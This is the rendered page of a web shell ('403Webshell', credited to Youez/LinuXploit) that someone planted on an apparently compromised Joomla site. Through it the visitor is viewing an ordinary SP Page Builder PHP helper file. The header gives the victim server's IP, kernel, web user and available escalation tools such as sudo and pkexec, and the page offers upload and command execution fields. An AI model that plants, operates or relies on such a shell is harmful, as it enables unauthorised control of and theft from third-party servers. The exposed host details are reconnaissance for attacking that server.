403Webshell
Server IP : 172.67.191.97  /  Your IP : 104.23.197.208
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/bienestar/components/com_sppagebuilder/parser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/bienestar/components/com_sppagebuilder/parser/addon-utils.php
<?php

/**
 * @package SP Page Builder
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2023 JoomShaper
 * @license https://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */

// No direct access
defined('_JEXEC') or die('Restricted access');

/**
 * Helper class for handling the lodash string.
 *
 * @since	4.0.0
 */
final class AddonUtils
{
	public static $defaultDevice = 'xl';

	public static function parseMediaData($media)
	{
		if (empty($media))
		{
			return '';
		}

		if (\is_object($media) && isset($media->src))
		{
			return $media->src;
		}

		if (\is_array($media) && isset($media['src']))
		{
			return $media['src'];
		}

		return $media;
	}

	public static function parseDeviceData($data, $device = '')
	{
		if (empty($data))
		{
			return '';
		}

		$device = !empty($device) ? $device : self::$defaultDevice;

		if (\is_object($data) && isset($data->$device))
		{
			return $data->$device;
		}

		return $data;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit